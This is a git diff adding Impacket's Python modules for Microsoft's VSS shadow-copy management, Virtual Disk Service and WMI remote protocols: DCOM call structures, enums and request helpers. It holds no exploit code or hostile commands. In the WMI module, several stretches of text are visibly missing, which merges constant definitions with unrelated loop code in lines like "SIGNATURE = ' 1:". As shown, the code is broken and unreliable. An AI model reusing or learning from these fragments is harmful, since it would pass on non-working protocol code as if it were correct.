+from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f') +IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772') +IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3') +IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529') +IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696') +IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5') + +# 2.2.1.1 VSS_ID +class VSS_ID(NDRSTRUCT): + structure = ( + ('Data','16s=b""'), + ) + + def getAlignment(self): + return 2 + +#2.2.1.2 VSS_PWSZ +VSS_PWSZ = WSTR + +# 2.2.1.3 VSS_TIMESTAMP +VSS_TIMESTAMP = LONGLONG + +error_status_t = LONG +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1 VSS_OBJECT_TYPE Enumeration +class VSS_OBJECT_TYPE(NDRENUM): + class enumItems(Enum): + VSS_OBJECT_UNKNOWN = 0 + VSS_OBJECT_NONE = 1 + VSS_OBJECT_SNAPSHOT_SET = 2 + VSS_OBJECT_SNAPSHOT = 3 + VSS_OBJECT_PROVIDER = 4 + VSS_OBJECT_TYPE_COUNT = 5 + +# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration +class VSS_MGMT_OBJECT_TYPE(NDRENUM): + class enumItems(Enum): + VSS_MGMT_OBJECT_UNKNOWN = 0 + VSS_MGMT_OBJECT_VOLUME = 1 + VSS_MGMT_OBJECT_DIFF_VOLUME = 2 + VSS_MGMT_OBJECT_DIFF_AREA = 3 + +# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration +class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM): + class enumItems(Enum): + VSS_VOLSNAP_ATTR_PERSISTENT = 0x01 + VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02 + VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04 + VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08 + VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10 + +# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration +class VSS_SNAPSHOT_STATE(NDRENUM): + class enumItems(Enum): + VSS_SS_UNKNOWN = 0x01 + VSS_SS_CREATED = 0x0c + +# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration +class VSS_PROVIDER_TYPE(NDRENUM): + class enumItems(Enum): + VSS_PROV_UNKNOWN = 0 + +# 2.2.3.7 VSS_VOLUME_PROP Structure +class VSS_VOLUME_PROP(NDRSTRUCT): + structure = ( + ('m_pwszVolumeName', VSS_PWSZ), + ('m_pwszVolumeDisplayName', VSS_PWSZ), + ) + +# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union +class VSS_MGMT_OBJECT_UNION(NDRUNION): + commonHdr = ( + ('tag', ULONG), + ) + union = { + VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP), + #VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP), + #VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP), + } + +# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure +class VSS_MGMT_OBJECT_PROP(NDRSTRUCT): + structure = ( + ('Type', VSS_MGMT_OBJECT_TYPE), + ('Obj', VSS_MGMT_OBJECT_UNION), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.3 IVssEnumMgmtObject Details + +# 3.1.3.1 Next (Opnum 3) +class IVssEnumMgmtObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IVssEnumMgmtObject_NextResponse(DCOMANSWER): + structure = ( + ('rgelt', VSS_MGMT_OBJECT_PROP), + ('pceltFetched', ULONG), + ('ErrorCode', error_status_t), + ) + +# 3.1.2.1 Next (Opnum 3) +class IVssEnumObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IVssEnumObject_NextResponse(DCOMANSWER): + structure = ( + ('rgelt', VSS_MGMT_OBJECT_PROP), + ('pceltFetched', ULONG), + ('ErrorCode', error_status_t), + ) + +class GetProviderMgmtInterface(DCOMCALL): + opnum = 3 + structure = ( + ('ProviderId', VSS_ID), + ('InterfaceId', VSS_ID), + ) + +class GetProviderMgmtInterfaceResponse(DCOMANSWER): + structure = ( + ('ppItf', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +class QueryVolumesSupportedForSnapshots(DCOMCALL): + opnum = 4 + structure = ( + ('ProviderId', VSS_ID), + ('IContext', LONG), + ) + +class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +class QuerySnapshotsByVolume(DCOMCALL): + opnum = 5 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ('ProviderId', VSS_ID), + ) + +class QuerySnapshotsByVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6) +class QueryDiffAreasForVolume(DCOMCALL): + opnum = 6 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ) + +class QueryDiffAreasForVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7) +class QueryDiffAreasOnVolume(DCOMCALL): + opnum = 7 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ) + +class QueryDiffAreasOnVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IVssEnumMgmtObject(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssEnumMgmtObject + + def Next(self, celt): + request = IVssEnumMgmtObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + resp = self.request(request, self._iid, uuid = self.get_iPid()) + return resp + +class IVssEnumObject(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssEnumObject + + def Next(self, celt): + request = IVssEnumObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + dce = self.connect() + resp = dce.request(request, self._iid, uuid = self.get_iPid()) + return resp + +class IVssSnapshotMgmt(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssSnapshotMgmt + + def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt): + req = GetProviderMgmtInterface() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['ProviderId'] = providerId + req['InterfaceId'] = interfaceId + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def QueryVolumesSupportedForSnapshots(self, providerId, iContext): + req = QueryVolumesSupportedForSnapshots() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['ProviderId'] = providerId + req['IContext'] = iContext + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target())) + + def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider): + req = QuerySnapshotsByVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = volumeName + req['ProviderId'] = providerId + try: + resp = self.request(req, self._iid, uuid = self.get_iPid()) + except DCERPCException as e: + print(e) + from impacket.winregistry import hexdump + data = e.get_packet() + hexdump(data) + kk = QuerySnapshotsByVolumeResponse(data) + kk.dump() + #resp.dump() + return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + +class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt + + def QueryDiffAreasOnVolume(self, pwszVolumeName): + req = QueryDiffAreasOnVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = pwszVolumeName + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def QueryDiffAreasForVolume(self, pwszVolumeName): + req = QueryDiffAreasForVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = pwszVolumeName + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) diff --git a/impacket/dcerpc/v5/dcom/vds.py b/impacket/dcerpc/v5/dcom/vds.py new file mode 100644 index 0000000..81a9084 --- /dev/null +++ b/impacket/dcerpc/v5/dcom/vds.py @@ -0,0 +1,270 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-VDS]: Virtual Disk Service (VDS) Protocol +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.enum import Enum +from impacket import hresult_errors +from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575') +IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E') +IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25') +IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC') +IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69') +IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E') +IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8') +IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42') + +error_status_t = ULONG + +# 2.2.1.1.3 VDS_OBJECT_ID +VDS_OBJECT_ID = GUID + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1.3.1 VDS_SERVICE_PROP +class VDS_SERVICE_PROP(NDRSTRUCT): + structure = ( + ('pwszVersion',LPWSTR), + ('ulFlags',ULONG), + ) + +class OBJECT_ARRAY(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +# 2.2.2.7.1.1 VDS_PROVIDER_TYPE +class VDS_PROVIDER_TYPE(NDRENUM): + class enumItems(Enum): + VDS_PT_UNKNOWN = 0 + VDS_PT_SOFTWARE = 1 + VDS_PT_HARDWARE = 2 + VDS_PT_VIRTUALDISK = 3 + VDS_PT_MAX = 4 + +# 2.2.2.7.2.1 VDS_PROVIDER_PROP +class VDS_PROVIDER_PROP(NDRSTRUCT): + structure = ( + ('id',VDS_OBJECT_ID), + ('pwszName',LPWSTR), + ('guidVersionId',GUID), + ('pwszVersion',LPWSTR), + ('type',VDS_PROVIDER_TYPE), + ('ulFlags',ULONG), + ('ulStripeSizeFlags',ULONG), + ('sRebuildPriority',SHORT), + ) + +################################################################################ +# RPC CALLS +################################################################################ + +# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3) +class IVdsServiceInitialization_Initialize(DCOMCALL): + opnum = 3 + structure = ( + ('pwszMachineName', LPWSTR), + ) + +class IVdsServiceInitialization_InitializeResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3) +class IVdsService_IsServiceReady(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IVdsService_IsServiceReadyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4) +class IVdsService_WaitForServiceReady(DCOMCALL): + opnum = 4 + structure = ( + ) + +class IVdsService_WaitForServiceReadyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5) +class IVdsService_GetProperties(DCOMCALL): + opnum = 5 + structure = ( + ) + +class IVdsService_GetPropertiesResponse(DCOMANSWER): + structure = ( + ('pServiceProp', VDS_SERVICE_PROP), + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6) +class IVdsService_QueryProviders(DCOMCALL): + opnum = 6 + structure = ( + ('masks', DWORD), + ) + +class IVdsService_QueryProvidersResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.1.1 IEnumVdsObject Interface +# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3) +class IEnumVdsObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IEnumVdsObject_NextResponse(DCOMANSWER): + structure = ( + ('ppObjectArray', OBJECT_ARRAY), + ('pcFetched', ULONG), + ('ErrorCode', error_status_t), + ) +# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3) +class IVdsProvider_GetProperties(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IVdsProvider_GetPropertiesResponse(DCOMANSWER): + structure = ( + ('pProviderProp', VDS_PROVIDER_PROP), + ('ErrorCode', error_status_t), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IEnumVdsObject(IRemUnknown2): + def Next(self, celt=0xffff): + request = IEnumVdsObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + try: + resp = self.request(request, uuid = self.get_iPid()) + except Exception as e: + resp = e.get_packet() + # If it is S_FALSE(1) means less items were returned + if resp['ErrorCode'] != 1: + raise + interfaces = list() + for interface in resp['ppObjectArray']: + interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target()))) + return interfaces + +class IVdsProvider(IRemUnknown2): + def GetProperties(self): + request = IVdsProvider_GetProperties() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IVdsServiceInitialization(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + + def Initialize(self): + request = IVdsServiceInitialization_Initialize() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['pwszMachineName'] = '\x00' + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IVdsService(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + + def IsServiceReady(self): + request = IVdsService_IsServiceReady() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + try: + resp = self.request(request, uuid = self.get_iPid()) + except Exception as e: + resp = e.get_packet() + return resp + + def WaitForServiceReady(self): + request = IVdsService_WaitForServiceReady() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def GetProperties(self): + request = IVdsService_GetProperties() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def QueryProviders(self, masks): + request = IVdsService_QueryProviders() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['masks'] = masks + resp = self.request(request, uuid = self.get_iPid()) + return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) diff --git a/impacket/dcerpc/v5/dcom/wmi.py b/impacket/dcerpc/v5/dcom/wmi.py new file mode 100644 index 0000000..502cb91 --- /dev/null +++ b/impacket/dcerpc/v5/dcom/wmi.py @@ -0,0 +1,3284 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from __future__ import division +from __future__ import print_function +from struct import unpack, calcsize, pack +from functools import partial +import collections +import collections.abc +import logging +import six + +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \ + NDRENUM +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown, PMInterfacePointer, INTERFACE, \ + PMInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer, OBJREF_CUSTOM +from impacket.dcerpc.v5.dcom.oaut import BSTR +from impacket.dcerpc.v5.dtypes import ULONG, DWORD, NULL, LPWSTR, LONG, HRESULT, PGUID, LPCSTR, GUID +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors, LOG +from impacket.uuid import string_to_bin, uuidtup_to_bin +from impacket.structure import Structure, hexdump + + +def format_structure(d, level=0): + x = "" + if isinstance(d, collections.abc.Mapping): + lenk = max([len(str(x)) for x in list(d.keys())]) + for k, v in list(d.items()): + key_text = "\n" + " "*level + " "*(lenk - len(str(k))) + str(k) + x += key_text + ": " + format_structure(v, level=level+lenk) + elif isinstance(d, collections.abc.Iterable) and not isinstance(d, str): + for e in d: + x += "\n" + " "*level + "- " + format_structure(e, level=level+4) + else: + x = str(d) + return x +try: + from collections import OrderedDict +except: + try: + from ordereddict.ordereddict import OrderedDict + except: + from ordereddict import OrderedDict + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'WMI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + # Let's see if we have it as WBEMSTATUS + try: + return 'WMI Session Error: code: 0x%x - %s' % (self.error_code, WBEMSTATUS.enumItems(self.error_code).name) + except: + return 'WMI SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# WMIO Structures and Constants +################################################################################ +WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE = 0x01 +WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS = 0x02 +WBEM_FLAVOR_NOT_OVERRIDABLE = 0x10 +WBEM_FLAVOR_ORIGIN_PROPAGATED = 0x20 +WBEM_FLAVOR_ORIGIN_SYSTEM = 0x40 +WBEM_FLAVOR_AMENDED = 0x80 + +# 2.2.6 ObjectFlags +OBJECT_FLAGS = 'B=0' + +#2.2.77 Signature +SIGNATURE = ' 1: + if self['Encoded_String_Flag'] == 0: + self.structure += self.tascii + # Let's search for the end of the string + index = data[1:].find(b'\x00') + data = data[:index+1+1] + else: + self.structure = self.tunicode + self.isUnicode = True + + self.fromString(data) + else: + self.structure = self.tascii + self.data = None + + def __getitem__(self, key): + if key == 'Character' and self.isUnicode: + return self.fields['Character'].decode('utf-16le') + return Structure.__getitem__(self, key) + + +# 2.2.8 DecServerName +DEC_SERVER_NAME = ENCODED_STRING + +# 2.2.9 DecNamespaceName +DEC_NAMESPACE_NAME = ENCODED_STRING + +# 2.2.7 Decoration +class DECORATION(Structure): + structure = ( + ('DecServerName', ':', DEC_SERVER_NAME), + ('DecNamespaceName', ':', DEC_NAMESPACE_NAME), + ) + +# 2.2.69 HeapRef +HEAPREF = ' 0: + itemn = QUALIFIER(data) + if itemn['QualifierName'] == 0xffffffff: + qName = b'' + elif itemn['QualifierName'] & 0x80000000: + qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff] + else: + qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character'] + + value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap) + qualifiers[qName] = value + data = data[len(itemn):] + + return qualifiers + +# 2.2.20 ClassQualifierSet +CLASS_QUALIFIER_SET = QUALIFIER_SET + +# 2.2.22 PropertyCount +PROPERTY_COUNT = ' 0: + record = QUALIFIER(qualifiersBuf) + if record['QualifierName'] & 0x80000000: + qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff] + else: + qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character'] + qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap) + qualifiersBuf = qualifiersBuf[len(record):] + qualifiers[qualifierName] = qualifierValue + + propItemDict['qualifiers'] = qualifiers + properties[propName] = propItemDict + + propTable = propTable[self.PropertyLookupSize:] + + return OrderedDict(sorted(list(properties.items()), key=lambda x:x[1]['order'])) + #return properties + +# 2.2.66 Heap +HEAP_LENGTH = ' 0: + value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap) + properties[key]['value'] = "%s" % value + valueTable = valueTable[dataSize:] + return properties + +# 2.2.39 MethodCount +METHOD_COUNT = ' 0: + methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() + methodDict['InParamsRaw'] = inputSignature['ObjectBlock'] + #print methodDict['InParams'] + else: + methodDict['InParams'] = None + if itemn['OutputSignature'] != 0xffffffff: + outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:]) + if outputSignature['EncodingLength'] > 0: + methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() + methodDict['OutParamsRaw'] = outputSignature['ObjectBlock'] + else: + methodDict['OutParams'] = None + data = data[len(itemn):] + methods[methodDict['name']] = methodDict + + return methods + +# 2.2.14 ClassAndMethodsPart +class CLASS_AND_METHODS_PART(Structure): + structure = ( + ('ClassPart', ':', CLASS_PART), + ('MethodsPart', ':', METHODS_PART), + ) + + def getClassName(self): + pClassName = self['ClassPart']['ClassHeader']['ClassNameRef'] + cHeap = self['ClassPart']['ClassHeap']['HeapItem'] + if pClassName == 0xffffffff: + return 'None' + else: + className = ENCODED_STRING(cHeap[pClassName:])['Character'] + derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding'] + while len(derivationList) > 0: + superClass = ENCODED_STRING(derivationList)['Character'] + className += ' : %s ' % superClass + derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:] + return className + + def getQualifiers(self): + return self["ClassPart"].getQualifiers() + + def getProperties(self): + #print format_structure(self["ClassPart"].getProperties()) + return self["ClassPart"].getProperties() + + def getMethods(self): + return self["MethodsPart"].getMethods() + +# 2.2.13 CurrentClass +CURRENT_CLASS = CLASS_AND_METHODS_PART + +# 2.2.54 InstanceFlags +INSTANCE_FLAGS = 'B=0' + +# 2.2.55 InstanceClassName +INSTANCE_CLASS_NAME = HEAP_STRING_REF + +# 2.2.27 NullAndDefaultFlag +NULL_AND_DEFAULT_FLAG = 'B=0' + +# 2.2.26 NdTable +NDTABLE = NULL_AND_DEFAULT_FLAG + +# 2.2.56 InstanceData +#InstanceData = ValueTable + +class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART): + structure = ( + ('ClassPart', ':', CLASS_PART), + ) + def getMethods(self): + return () + +# 2.2.65 InstancePropQualifierSet +INST_PROP_QUAL_SET_FLAG = 'B=0' +class INSTANCE_PROP_QUALIFIER_SET(Structure): + commonHdr = ( + ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG), + ) + tail = ( + # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation + #('QualifierSet', ':', QualifierSet), + ('QualifierSet', ':', QUALIFIER_SET), + ) + + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.structure = () + if data is not None: + # Let's first check the commonHdr + self.fromString(data) + if self['InstPropQualSetFlag'] == 2: + # We don't support this yet! + raise Exception("self['InstPropQualSetFlag'] == 2") + self.fromString(data) + else: + self.data = None + +# 2.2.57 InstanceQualifierSet +class INSTANCE_QUALIFIER_SET(Structure): + structure = ( + ('QualifierSet', ':', QUALIFIER_SET), + ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET), + ) + +# 2.2.58 InstanceHeap +INSTANCE_HEAP = HEAP + +# 2.2.53 InstanceType +class INSTANCE_TYPE(Structure): + commonHdr = ( + ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS), + ('EncodingLength', ENCODING_LENGTH), + ('InstanceFlags', INSTANCE_FLAGS), + ('InstanceClassName', INSTANCE_CLASS_NAME), + ('_NdTable_ValueTable', '_-NdTable_ValueTable', + 'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'), + ('NdTable_ValueTable',':'), + ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET), + ('InstanceHeap', ':', INSTANCE_HEAP), + ) + + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.structure = () + if data is not None: + # Let's first check the commonHdr + self.fromString(data) + #hexdump(data[len(self.getData()):]) + self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) //4 + 1 + #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData()) + self.fromString(data) + else: + self.data = None + + def __processNdTable(self, properties): + octetCount = (len(properties) - 1) // 4 + 1 # see [MS-WMIO]: 2.2.26 NdTable + packedNdTable = self['NdTable_ValueTable'][:octetCount] + unpackedNdTable = [(byte >> shift) & 0b11 for byte in six.iterbytes(packedNdTable) for shift in (0, 2, 4, 6)] + for key in properties: + ndEntry = unpackedNdTable[properties[key]['order']] + properties[key]['null_default'] = bool(ndEntry & 0b01) + properties[key]['inherited_default'] = bool(ndEntry & 0b10) + + return octetCount + + 